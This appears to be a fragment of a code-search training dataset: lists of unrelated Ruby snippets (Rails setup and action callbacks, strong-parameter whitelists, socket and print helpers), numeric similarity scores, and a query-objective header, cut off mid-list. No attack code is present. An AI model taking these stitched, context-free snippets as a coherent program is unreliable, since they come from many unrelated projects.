"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def before_dispatch(env); end",
"def process_action(...)\n send_action(...)\n end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def action\n end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def config(action, *args); end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def setup\n # override this if needed\n end",
"def matt_custom_action_begin(label); end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def setup_signals; end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def lookup_action; end",
"def around_hooks; end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def action_target()\n \n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def call\n setup_context\n super\n end",
"def _handle_action_missing(*args); end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def duas1(action)\n action.call\n action.call\nend"
] |
[
"0.6162554",
"0.60452986",
"0.5945278",
"0.59169763",
"0.58877826",
"0.5834763",
"0.5775349",
"0.5704972",
"0.5704972",
"0.56543803",
"0.5621491",
"0.5427202",
"0.54093206",
"0.54093206",
"0.54093206",
"0.53975695",
"0.53776276",
"0.53562194",
"0.5340594",
"0.5337824",
"0.5328757",
"0.5310255",
"0.5300339",
"0.5298796",
"0.5295774",
"0.5256034",
"0.5243039",
"0.5236007",
"0.5235239",
"0.5235239",
"0.5235239",
"0.5235239",
"0.5235239",
"0.52321917",
"0.5227032",
"0.52216744",
"0.5216349",
"0.52161187",
"0.5210265",
"0.5207244",
"0.5177388",
"0.5177142",
"0.51747334",
"0.516293",
"0.51629275",
"0.5155534",
"0.51540613",
"0.515197",
"0.5151636",
"0.5145279",
"0.51380795",
"0.5135777",
"0.5117378",
"0.5115066",
"0.5115066",
"0.5110235",
"0.5106418",
"0.50917816",
"0.50909185",
"0.50855017",
"0.5082105",
"0.506359",
"0.5055345",
"0.50546116",
"0.50523037",
"0.50523037",
"0.50327307",
"0.5024364",
"0.5021113",
"0.50174654",
"0.50163317",
"0.5000553",
"0.50002855",
"0.49991882",
"0.49905527",
"0.49905527",
"0.49849054",
"0.4982546",
"0.4980941",
"0.4979153",
"0.49693102",
"0.4967172",
"0.49594432",
"0.49564302",
"0.49552485",
"0.49533385",
"0.49506924",
"0.49452737",
"0.49442786",
"0.49347955",
"0.49341312",
"0.49295264",
"0.49261844",
"0.4925649",
"0.49251428",
"0.4920729",
"0.49177617",
"0.4916373",
"0.49158472",
"0.4915794",
"0.49156648"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def user_housework_params
params.require(:user_housework).permit(:housework_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] |
0.0
|
-1
|
Prints the supplied message to the socket.
|
def print_raw(msg = '')
@sock.write(msg)
@sock.flush
msg
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def puts(message)\n\t\t@socket.puts(message)\n\tend",
"def send(msg)\n @socket.puts msg\n puts '<< ' << msg\n end",
"def send(message)\n puts prefix + message\n end",
"def say(string)\n @socket.puts string\n end",
"def print(message)\n output.print(message)\n end",
"def send_message(message)\n @socket.write(message)\n @socket.write(\"\\004\")\n end",
"def print_message(msg)\n print \">> #{msg.to_s} \\n\"\n end",
"def print(msg)\n out_stream.print(msg) if out_stream\n end",
"def write(msg)\n @handle.puts(msg)\n end",
"def puts(msg)\n @buffer << \"#{msg}\\n\"\n end",
"def tell(message)\n puts message\n end",
"def write(line)\n begin\n @sock.puts line\n rescue\n end\n puts \">> #{line}\"\n end",
"def puts(message)\n @out.puts message\n end",
"def send_message(message)\n @socket.send(message << \"\\n\", 0, nil, @client)\n end",
"def send(message)\n socket.send(message, 0, address, port)\n end",
"def put(msg)\n socket.write(msg + \"\\n\") if socket\n end",
"def response(message)\n puts \">> #{message.strip}\"\n @connection.puts(message)\n end",
"def msg(message)\n stdout.puts message\n end",
"def peer_send(peer,message)\r\n\t\t\tpeer.socket.puts(message)\r\n\t\tend",
"def send(message)\n pipe_to.puts(message)\n end",
"def puts(message)\n output.puts(message)\n end",
"def out(msg)\n io.print(msg) if io\n end",
"def sock_send io, msg\n msg = \"#{msg}\\0\"\n log msg\n io.send msg, 0\n end",
"def send_message(message)\n check_parenthesis(message)\n puts \"Send: #{message}\" if @debug\n connection{|c| c.write(message)}\n end",
"def print(msg)\n info(msg)\n end",
"def send(message)\n length = sprintf(\"%-8d\", message.length)\n @socket.write(\"#{length}#{message}\")\n end",
"def write s\n raise RuntimeError, \"No socket\" unless @socket\n @socket.puts s += \"\\r\\n\"\n puts \"WROTE: #{s.inspect}\" if config[:debug]\n end",
"def message(msg)\n STDOUT.puts msg\n end",
"def send(msg=\"\")\n\t\tif @connected\n\t\t\t@sock.write \"\\1#{msg}\\r\\n\" # leading \\1 for terse reply\n\t\tend\n\tend",
"def sendmsg(s)\n @sock.send \"#{s}\\n\", 0 \n end",
"def puts(msg)\n info(msg)\n end",
"def enviarMensaje(mensaje)\n @@socket.puts mensaje\n end",
"def sendM(message)\n\t\t@conexion.puts(message)\t\n\tend",
"def send_message(message)\n socket.enqueue_packet(message)\n end",
"def say(msg)\n print msg + \"\\r\\n\"\n end",
"def send_message(message) \n @SocketHandle = TCPSocket.open(@Host,@Port)\n @SocketHandle.puts message \n server_reply = @SocketHandle.gets \n\n server_reply \n end",
"def send(message)\n header = [message.length].pack(\"N\")\n $stdout.print(header, message)\n $stdout.flush\nend",
"def irc_send(message)\n puts(\"Sending: #{message}\")\n\n # We can call \"puts\" on the socket we opened earlier. Instead of outputting something on the\n # terminal, this will send the message accross the internet to the IRC server we are connected to\n @socket.puts(message)\nend",
"def message( msg, sender )\n @clients.each do |client|\n client.sock.puts \"#{sender}: #{msg}\" unless sender.port == client.port\n end\n log( \"[message] #{sender}: #{msg}\" )\n end",
"def emit(msg)\n print msg\n $stdout.flush\n end",
"def print_raw(msg = '')\n $stdout.print(msg)\n $stdout.flush\n\n return if not self.fd\n self.fd.write(msg)\n self.fd.flush\n msg\n end",
"def socket_put(str)\n\t\t\t\tdebug(\">>> \" + str)\n\t\t\t\t@socket.puts str\n\t\t\tend",
"def echo(message)\n puts message\n end",
"def print(message); end",
"def print(message); end",
"def send_mess(mess)\n\t@client.puts(mess)\t\nend",
"def puts(message); end",
"def print(msg)\n message = msg['message']\n @logger.debug(\"Printing msg #{message}\")\n print_raw(message)\n end",
"def write(msg)\n\t\tinfo(msg)\n\tend",
"def message(message)\n Kernel.puts(message.to_s)\nend",
"def send_msg(socket, msg)\n send_data(socket, Marshal.dump(msg))\n end",
"def print(msg = '')\n clear_line\n print_no_newline(msg)\n end",
"def send_from_open_connection(message) \n @SocketHandle.puts message \n server_reply = @SocketHandle.gets \n\n server_reply \n end",
"def print(message)\n\t\ttime = Time.now\n\n\t\t@duration += (time - @lastMessageTime)\n\n\t\t@lastMessageTime = time\n\n\t\t@message = message\n\n\tend",
"def puts(message)\n session_command(:echo, message)\n end",
"def write(rawmsg)\r\n @connection.send(rawmsg)\r\n end",
"def print(msg)\n Java::OrgFusesourceJansi::AnsiConsole::out.print msg\n end",
"def puts_msg(msg)\n STDOUT.puts(msg)\n end",
"def send_message( message )\n if @logger.debug?\n @logger.debug \"sending message >>#{message.to_s.inspect}<<\"\n end\n\n @packet_sender.send message\n end",
"def print_raw(msg = '')\n\t\t$stdout.print(msg)\n\t\t$stdout.flush\n\n\t\tmsg\n\tend",
"def plain message\n reopen unless @filename == nil\n\n @device.print message + \"\\n\"\n end",
"def rubicante_message\n #@mSocket.puts \"PRIVMSG #{@mChannel} : I respect men like you. Men with...courage. \" + \n #\" But you are a slave to your emotions, and so will never know true strength.\" + \n #\" Such is the curse of men.\"\n @mSocket.puts \"Long ago in a distant land, I, Aku, the shape-shifting Master of Darkness, unleashed an unspeakable evil...\"\n end",
"def write(string)\n log :write, string\n @socket << string\n end",
"def send(msg)\n @connection.write(\n @serializer.en(msg))\n rescue Exception => e\n raise\n end",
"def write_message( data )\n\t\tmessage = [ data.bytesize, data ].pack( MESSAGE_TEMPLATE )\n\t\tself.log.debug \"Writing message %p to command server.\" % [ message ]\n\t\tself.writer.write( message )\n\tend",
"def send_message(data, flag, host, port)\n\t\tsocket = UDPSocket.new\n\t\tserialized = Marshal.dump(data)\n\t\tsocket.send serialized, flag, host, port\n\t\tsocket.close\n\t\tputs \"Sending #{data} to #{host}:#{port}\"\n\t\tsleep(0.025)\n\tend",
"def print_message_text()\n @renderer.puts(\"Msg: #{@message_to_post.text_for_display}\")\n end",
"def say(cmd)\n @socket.send(\"#{cmd}\\n\\n\",0)\n response\n end",
"def puts(msg)\n @out.puts msg unless @silent\n end",
"def print=(msg)\n @queue << \"print #{msg}\"\n end",
"def puts message\n print \">> \" + message +\"\\n\"\nend",
"def send(a)\n\t\t@connection.puts a\n\tend",
"def send(message)\n\t\t\t@conn.send(message)\n\t\tend",
"def print(line = '') \n line = parse_c(line.to_s.gsub(\"\\n\",\"#{CRLF}\"))\n @socket.write(parse_celerity(line) + CRLF)\n end",
"def write(data)\n #@sock.write(data)\n\tputs \"channel data: #{str2hex(data)}\"\n end",
"def send_message(message)\n @logger.trace { \"<<< #{message}\" }\n s = message.dump\n #@logger.trace { \"<<< #{s.inspect} [#{s.size}] (#{s.encoding})\" }\n send_data(message.dump)\n self\n end",
"def write(whatever)\n @IRCsocket.write(\"#{whatever}\\n\")\n end",
"def send_message(message)\n @networking.send_message(message)\n end",
"def print msg, color\n @text[2] = @text[1]\n @text[1] = @text[0]\n @text[0] = Message.new(msg, color, 18)\n end",
"def print_raw(msg = '')\n if (Rex::Compat.is_windows and supports_color?)\n WindowsConsoleColorSupport.new(io).write(msg)\n else\n io.print(msg)\n end\n\n io.flush\n\n msg\n end",
"def puts(msg = '')\n print(\"#{msg}\\n\")\n end",
"def print(string)\n self.buffer += string\n Kernel.print string\n end",
"def on_read socket, messages\n string = ''\n messages.each_with_index do |message, index|\n string << '|' if index > 0\n string << \"#{message.copy_out_string}\"\n end\n\n @file.print \"#{string}\\n\"\n @file.flush\n end",
"def log(message)\n @collector.sending_stream.puts pack(:log, message)\n end",
"def send_command(socket, msg)\n response = ''\n socket.puts(msg)\n while true do\n if (buf = socket.recv_nonblock(65536) rescue nil)\n response << buf\n return response if response =~ /\\n.\\n$/\n end\n end\n end",
"def puts(msg) # rubocop:disable Lint/UnusedMethodArgument\n info(msg)\n end",
"def action(message)\n print(6, message)\n end",
"def send(message, **options)\n encoded = (options[:encode] || @encode).call message\n @socket.send_string encoded\n end",
"def send_raw_line(line)\n @logger.debug \"<< #{line}\" if @logger\n @socket.puts(line)\n end",
"def write(text); @connection.puts(text) end",
"def print(*args); msg channel, args.join(\" \"); end",
"def putsNow(msg)\n\t\tprintState = @out.sync\n\t\t@out.sync = true\n\t\t@out.print(msg)\n\t\t@out.sync = printState\n\tend",
"def putline(line)\n @socket.puts(line.chomp)\n end",
"def emit(message, print)\n message = message.strip_heredoc.strip\n\n if print\n puts\n puts message\n puts\n\n # getting a huge string back in IRB is annoying as fawk.\n return nil\n end\n\n # Alternatively, if you turn of printing you *can* get the string back. Helpful for scripting\n # or testing.\n self.uncolored message\n end",
"def print(msg) # rubocop:disable Lint/UnusedMethodArgument\n info(msg)\n end",
"def message(message)\n Kernel.puts(\"=> #{message}\")\nend",
"def post(message)\n puts message\n end",
"def message(to, message)\n send_raw_line(\"PRIVMSG \"+to.to_s+\" :\"+message.chomp)\n end",
